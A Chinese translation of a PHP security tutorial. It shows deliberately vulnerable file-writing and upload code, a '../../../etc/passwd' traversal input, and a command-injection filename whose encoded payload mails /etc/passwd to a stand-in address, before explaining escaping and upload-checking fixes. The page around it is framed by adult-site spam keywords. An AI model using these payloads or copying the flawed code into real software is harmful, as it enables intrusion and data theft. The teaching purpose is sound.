色综合图-色综合图片-色综合图片二区150p-色综合图区-玖玖国产精品视频-玖玖香蕉视频

您的位置:首頁(yè)技術(shù)文章
文章詳情頁(yè)

PHP 安全及相關(guān)

瀏覽:24日期:2024-01-08 17:03:59

關(guān)注安全問(wèn)題的重要性看到的遠(yuǎn)非全部

阻止用戶惡意破壞你的程式最有效卻經(jīng)常被忽略的方法是在寫(xiě)代碼時(shí)就考慮它的可能性。留意代碼中可能的安全問(wèn)題是很重要的。考慮下邊的旨在簡(jiǎn)化用PHP中寫(xiě)入大量文本文件的過(guò)程的實(shí)例函數(shù):

<?phpfunction write_text($filename, $text='') {static $open_files = array();// 如果文件名空,關(guān)閉全部文件if ($filename == NULL) {foreach($open_files as $fr) {fclose($fr);}return true;}$index = md5($filename);if(!isset($open_files[$index])) {$open_files[$index] = fopen($filename, 'a+');if(!$open_files[$index]) return false;}fputs($open_files[$index], $text);return true;}?>

這個(gè)函數(shù)帶有兩個(gè)缺省參數(shù),文件名和要寫(xiě)入文件的文本。函數(shù)將先檢查文件是否已被打開(kāi);如果是,將使用原來(lái)的文件句柄。否則,將自行創(chuàng)建。在這兩種情況中,文本都會(huì)被寫(xiě)入文件。如果傳遞給函數(shù)的文件名是NULL,那么所有打開(kāi)的文件將被關(guān)閉。下邊提供了一個(gè)使用上的實(shí)例。如果開(kāi)發(fā)者以下邊的格式來(lái)寫(xiě)入多個(gè)文本文件,那么這個(gè)函數(shù)將清楚和易讀的多。讓我們假定這個(gè)函數(shù)存在于一個(gè)單獨(dú)的文件中,這個(gè)文件包含了調(diào)用這個(gè)函數(shù)的代碼。下邊是一個(gè)這樣的程式,我們叫它quotes.php:

<html><body><form action='<?=$_SERVER['PHP_SELF']?>' method='get'>Choose the nature of the quote:<select name='quote' size='3'><option value='funny'>Humorous quotes</option><option value='political'>Political quotes</option><option value='love'>Romantic Quotes</option></select><br />The quote: <input type='text' name='quote_text' size='30' /> <input type='submit' value='Save Quote' /></form></body></html>

<?phpinclude_once('write_text.php');$filename = '/home/web/quotes/{$_GET['quote']}';$quote_msg = $_GET['quote_text'];if (write_text($filename, $quote_msg)) {echo '<center><hr><h2>Quote saved!</h2></center>';} else {echo '<center><hr><h2>Error writing quote</h2></center>';}write_text(NULL);?>

如同你看到的,這位開(kāi)發(fā)者使用了write_text()函數(shù)來(lái)創(chuàng)建一個(gè)體系使得用戶可以提交他們喜歡的格言,這些格言將被存放在一個(gè)文本文件中。不幸的是,開(kāi)發(fā)者可能沒(méi)有想到,這個(gè)程式也允許了惡意用戶危害web server的安全。也許現(xiàn)在你正撓著頭想著究竟這個(gè)看起來(lái)很無(wú)辜的程式怎樣引入了安全風(fēng)險(xiǎn)。如果你看不出來(lái),考慮下邊這個(gè)URL,記住這個(gè)程式叫做quotes.php:

http://www.somewhere.com/fun/quotes.php?quote=different_file.dat&quote_text=garbage+data

當(dāng)這個(gè)URL傳遞給web server 時(shí)將會(huì)發(fā)生什么?

顯然,quotes.php將被執(zhí)行,但是,不是將一句格言寫(xiě)入到我們希望的三個(gè)文件中之一,相反的,一個(gè)叫做different_file.dat的新文件將被建立,其中包含一個(gè)字符串garbage data。

顯然,這不是我們希望的行為,惡意用戶可能通過(guò)把quote指定為../../../etc/passwd來(lái)訪問(wèn)UNIX密碼文件從而創(chuàng)建一個(gè)帳號(hào)(盡管這需要web server以superuser運(yùn)行程式,如果是這樣的,你應(yīng)該停止閱讀,馬上去修復(fù)它)。如果/home/web/quotes/可以通過(guò)瀏覽器訪問(wèn),可能這個(gè)程式最嚴(yán)重的安全問(wèn)題是它允許任何用戶寫(xiě)入和運(yùn)行任意PHP程式。這將帶來(lái)無(wú)窮的麻煩。

這里有一些解決方案。如果你只需要寫(xiě)入目錄下的一些文件,可以考慮使用一個(gè)相關(guān)的數(shù)組來(lái)存放文件名。如果用戶輸入的文件存在于這個(gè)數(shù)組中,就可以安全的寫(xiě)入。另一個(gè)想法是去掉所有的不是數(shù)字和字母的字符來(lái)確保沒(méi)有目錄分割符號(hào)。還有一個(gè)辦法是檢查文件的擴(kuò)展名來(lái)保證文件不會(huì)被web server執(zhí)行。

原則很簡(jiǎn)單,作為一個(gè)開(kāi)發(fā)者你必須比程式在你希望的情況下運(yùn)行時(shí)考慮更多。

如果非法數(shù)據(jù)進(jìn)入到一個(gè)form元素中會(huì)發(fā)生什么?惡意用戶是否能使你的程式以不希望的方式運(yùn)行?什么方法能阻止這些攻擊?你的web server和PHP程式只有在最弱的安全鏈接下才安全,所以確認(rèn)這些可能不安全的鏈接是否安全很重要。

常見(jiàn)的涉及安全的錯(cuò)誤這里給出一些要點(diǎn),一個(gè)可能危及安全的編碼上的和管理上的失誤的簡(jiǎn)要不完整列表

錯(cuò)誤1。信賴數(shù)據(jù)這是貫穿于我關(guān)于PHP程式安全的討論的主題,你決不能相信一個(gè)來(lái)自外部的數(shù)據(jù)。不管它來(lái)自用戶提交表單,文件系統(tǒng)的文件或者環(huán)境變量,任何數(shù)據(jù)都不能簡(jiǎn)單的想當(dāng)然的采用。所以用戶輸入必須進(jìn)行驗(yàn)證并將之格式化以保證安全。

錯(cuò)誤2。在web目錄中存儲(chǔ)敏感數(shù)據(jù)任何和所有的敏感數(shù)據(jù)都應(yīng)該存放在獨(dú)立于需要使用數(shù)據(jù)的程式的文件中,并保存在一個(gè)不能通過(guò)瀏覽器訪問(wèn)的目錄下。當(dāng)需要使用敏感數(shù)據(jù)時(shí),再通過(guò)include 或 require語(yǔ)句來(lái)包含到適當(dāng)?shù)腜HP程式中。

錯(cuò)誤3。不使用推薦的安全防范措施PHP手冊(cè)包含了在使用和編寫(xiě)PHP程式時(shí)關(guān)于安全防范的完整章節(jié)。手冊(cè)也(幾乎)基于案例清楚的說(shuō)明了什么時(shí)候存在潛在安全風(fēng)險(xiǎn)和怎么將風(fēng)險(xiǎn)降低到最低。又如,惡意用戶依靠開(kāi)發(fā)者和管理員的失誤得到關(guān)心的安全信息以獲取系統(tǒng)的權(quán)限。留意這些警告并適當(dāng)?shù)牟扇〈胧﹣?lái)減小惡意用戶給你的系統(tǒng)帶來(lái)真正的破壞的可能性。 在PHP中執(zhí)行系統(tǒng)調(diào)用在PHP中有很多方法可以執(zhí)行系統(tǒng)調(diào)用。

比如,system(), exec(), passthru(), popen()和 反單引號(hào)(`)操作符都允許你在程式中執(zhí)行系統(tǒng)調(diào)用。如果不適當(dāng)?shù)氖褂蒙线呥@些函數(shù)將會(huì)為惡意用戶在你的服務(wù)器上執(zhí)行系統(tǒng)命令打開(kāi)大門(mén)。像在訪問(wèn)文件時(shí),絕大多數(shù)情況下,安全漏洞發(fā)生在由于不可靠的外部輸入導(dǎo)致的系統(tǒng)命令執(zhí)行。

使用系統(tǒng)調(diào)用的一個(gè)例子程式考慮一個(gè)處理http文件上傳的程式,它使用zip程序來(lái)壓縮文件,然后把它移動(dòng)到指定的目錄(默認(rèn)為/usr/local/archives/)。代碼如下:<?php$zip = '/usr/bin/zip';$store_path = '/usr/local/archives/';

if (isset($_FILES['file'])) {$tmp_name = $_FILES['file']['tmp_name'];$cmp_name = dirname($_FILES['file']['tmp_name']) .'/{$_FILES['file']['name']}.zip';$filename = basename($cmp_name);

if (file_exists($tmp_name)) {$systemcall = '$zip $cmp_name $tmp_name';$output = `$systemcall`;

if (file_exists($cmp_name)) {$savepath = $store_path.$filename;rename($cmp_name, $savepath);}}}?>

<form enctype='multipart/form-data' action='<?php echo $_SERVER['PHP_SELF'];?>' method='POST'><input type='HIDDEN' name='MAX_FILE_SIZE' value='1048576'>File to compress: <input name='file' type='file'><br /><input type='submit' value='Compress File'>

</form>

雖然這段程式看起來(lái)相當(dāng)簡(jiǎn)單易懂,但是惡意用戶卻可以通過(guò)一些方法來(lái)利用它。最嚴(yán)重的安全問(wèn)題存在于我們執(zhí)行了壓縮命令(通過(guò)`操作符),在下邊的行中可以清楚的看到這點(diǎn):

if (isset($_FILES['file'])) {$tmp_name = $_FILES['file']['tmp_name'];$cmp_name = dirname($_FILES['file']['tmp_name']) .'/{$_FILES['file']['name']}.zip';

$filename = basename($cmp_name);

if (file_exists($tmp_name)) {$systemcall = '$zip $cmp_name $tmp_name';$output = `$systemcall`;...欺騙程式執(zhí)行任意shell命令雖然這段代碼看起來(lái)相當(dāng)安全,它卻有使任何有文件上傳權(quán)限的用戶執(zhí)行任意shell命令的潛在危險(xiǎn)!

準(zhǔn)確的說(shuō),這個(gè)安全漏洞來(lái)自對(duì)$cmp_name變量的賦值。在這里,我們希望壓縮后的文件使用從客戶機(jī)上傳時(shí)的文件名(帶有 .zip擴(kuò)展名)。我們用到了$_FILES['file']['name'](它包含了上傳文件在客戶機(jī)時(shí)的文件名)。

在這樣的情況下,惡意用戶完全可以通過(guò)上傳一個(gè)含對(duì)底層操作系統(tǒng)有特殊意義字符的文件來(lái)達(dá)到自己的目的。舉個(gè)例子,如果用戶按照下邊的形式創(chuàng)建一個(gè)空文件會(huì)怎么樣?(UNIX shell提示符下)[user@localhost]# touch ';php -r '$code=base64_decode('bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==');system($code);';'這個(gè)命令將創(chuàng)建一個(gè)名字如下的文件:

php -r '$code=base64_decode('bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==');system($code);';看起來(lái)很奇怪?讓我們來(lái)看看這個(gè)“文件名”,我們發(fā)現(xiàn)它很像使CLI版本的PHP執(zhí)行如下代碼的命令:

<?php$code=base64_decode('bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==');system($code);?>

如果你出于好奇而顯示$code變量的內(nèi)容,就會(huì)發(fā)現(xiàn)它包含了mailbaduser@somewhere.com< /etc/passwd。如果用戶把這個(gè)文件傳給程式,接著PHP執(zhí)行系統(tǒng)調(diào)用來(lái)壓縮文件,PHP實(shí)際上將執(zhí)行如下語(yǔ)句:

/usr/bin/zip /tmp/;php -r'$code=base64_decode('bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==');system($code);';.zip /tmp/phpY4iatI讓人吃驚的,上邊的命令不是一個(gè)語(yǔ)句而是3個(gè)!由于UNIX shell 把分號(hào)(;)解釋為一個(gè)shell命令的結(jié)束和另一命令的開(kāi)始,除了分號(hào)在在引號(hào)中時(shí),PHP的system()實(shí)際上將如下執(zhí)行:

[user@localhost]# /usr/bin/zip /tmp/[user@localhost]# php -r'$code=base64_decode('bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==');system($code);'[user@localhost]# .zip /tmp/phpY4iatI如你所見(jiàn),這個(gè)看起來(lái)無(wú)害的PHP程式突然變成執(zhí)行任意shell命令和其他PHP程式的后門(mén)。雖然這個(gè)例子只會(huì)在路徑下有CLI版本的PHP的系統(tǒng)上有效,但是用這種技術(shù)可以通過(guò)其他的方法來(lái)達(dá)到同樣的效果。

對(duì)抗系統(tǒng)調(diào)用攻擊

這里的關(guān)鍵仍然是,來(lái)自用戶的輸入,不管內(nèi)容如何,都不應(yīng)該相信!問(wèn)題仍然是如何在使用系統(tǒng)調(diào)用時(shí)(除了根本不使用它們)避免類似的情況出現(xiàn)。為了對(duì)抗這種類型的攻擊,PHP提供了兩個(gè)函數(shù),escapeshellarg() 和 escapeshellcmd()。

escapeshellarg()函數(shù)是為了從用作系統(tǒng)命令的參數(shù)的用戶輸入(在我們的例子中,是zip命令)中移出含有潛在危險(xiǎn)的字符而設(shè)計(jì)的。這個(gè)函數(shù)的語(yǔ)法如下:

escapeshellarg($string)$string所在處是用于過(guò)濾的輸入,返回值是過(guò)濾后的字符。執(zhí)行時(shí),這個(gè)函數(shù)將在字符兩邊添加單引號(hào),并轉(zhuǎn)義原來(lái)字符串中的單引號(hào)(在其前邊加上)。在我們的例程中,如果我們?cè)趫?zhí)行系統(tǒng)命令之前加上這些行:

$cmp_name = escapeshellarg($cmp_name);$tmp_name = escapeshellarg($tmp_name);我們就能通過(guò)確保傳遞給系統(tǒng)調(diào)用的參數(shù)已經(jīng)處理,是一個(gè)沒(méi)有其他意圖的用戶輸入,以規(guī)避這樣的安全風(fēng)險(xiǎn)。

escapeshellcmd()和escapeshellarg()類似,只是它只轉(zhuǎn)義對(duì)底層操作系統(tǒng)有特殊意義的字符。和escapeshellarg()不同,escapeshellcmd()不會(huì)處理內(nèi)容中的空白格。舉個(gè)實(shí)例,當(dāng)使用escapeshellcmd()轉(zhuǎn)義時(shí),字符$string = ''hello, world!';evilcommand'將變?yōu)椋?/P>

'hello, world';evilcommand如果這個(gè)字符串用作系統(tǒng)調(diào)用的參數(shù)它將仍然不能得到正確的結(jié)果,因?yàn)閟hell將會(huì)把它分別解釋為兩個(gè)分離的參數(shù): 'hello 和 world';evilcommand。如果用戶輸入用于系統(tǒng)調(diào)用的參數(shù)列表部分,escapeshellarg()是一個(gè)更好的選擇。保護(hù)上傳的文件在整篇文章中,我一直只著重講系統(tǒng)調(diào)用如何被惡意用戶劫持以產(chǎn)生我們不希望結(jié)果。但是,這里還有另外一個(gè)潛在的安全風(fēng)險(xiǎn)值得提到。再看到我們的例程,把你的注意力集中在下邊的行上:

$tmp_name = $_FILES['file']['tmp_name'];$cmp_name = dirname($_FILES['file']['tmp_name']) .'/{$_FILES['file']['name']}.zip';

$filename = basename($cmp_name);if (file_exists($tmp_name)) {上邊片斷中的代碼行導(dǎo)致的一個(gè)潛在安全風(fēng)險(xiǎn)是,最后一行我們判斷上傳的文件是否實(shí)際存在(以臨時(shí)文件名$tmp_name存在)。

這個(gè)安全風(fēng)險(xiǎn)并不來(lái)自于PHP自身,而在于保存在$tmp_name中的文件名實(shí)際上根本不是一個(gè)文件,而是指向惡意用戶希望訪問(wèn)的文件,比如,/etc/passwd。為了防止這樣的情況發(fā)生,PHP提供了is_uploaded_file()函數(shù),它和file_exists()一樣,但是它還提供文件是否真的從客戶機(jī)上上傳的檢查。

在絕大多數(shù)情況下,你將需要移動(dòng)上傳的文件,PHP提供了move_uploaded_file()函數(shù),來(lái)配合is_uploaded_file()。這個(gè)函數(shù)和rename()一樣用于移動(dòng)文件,只是它會(huì)在執(zhí)行前自動(dòng)檢查以確保被移動(dòng)的文件是上傳的文件。move_uploaded_file()的語(yǔ)法如下:

move_uploaded_file($filename, $destination);在執(zhí)行時(shí),函數(shù)將移動(dòng)上傳文件$filename到目的地$destination并返回一個(gè)布爾值來(lái)標(biāo)志操作是否成功。

注: John Coggeshall 是一位PHP顧問(wèn)和作者。從他開(kāi)始為PHP不眠已經(jīng)5年左右了。 英文原文:http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html

標(biāo)簽: PHP
主站蜘蛛池模板: 久久久国产精品福利免费 | 九九九九在线精品免费视频 | 国产精品午夜免费观看网站 | 国产v片在线播放免费观 | 亚洲丝袜另类 | 91影视永久福利免费观看 | 俄罗斯一级毛片免费播放 | 97国产精品欧美一区二区三区 | 久在草视频| 91精品久久久久含羞草 | 2021国产精品自在拍在线播放 | 九九视频精品在线 | 国内精品自产拍在线观看91 | 偷自拍第一页 | 欧美5g影院天天爽天天看 | 欧美一级视频在线观看欧美 | 日韩精品在线观看免费 | 香港黄页亚洲一级 | 成人1000部免费观看视频 | 久久99国产亚洲精品 | 一级女人毛片 | 久久久久国产午夜 | 极品色在线精品视频 | 精品日韩二区三区精品视频 | 日本乱人伦在线观看免费 | 久草视频网址 | 日韩性黄色一级 | 欧美特黄aaaaaa | 日本午夜人成免费视频 | 污全彩肉肉无遮挡彩色 | 免费国产成人α片 | 久久老司机波多野结衣 | 免费国产不卡午夜福在线 | 久久精品一区二区免费看 | 人成午夜性刺激免费 | 99久久久久国产 | 国产成人精品综合久久久软件 | 女人被男人躁得好爽免费视频免费 | 国产不卡在线观看视频 | 天天舔夜夜操 | 一级特黄爽大片刺激 |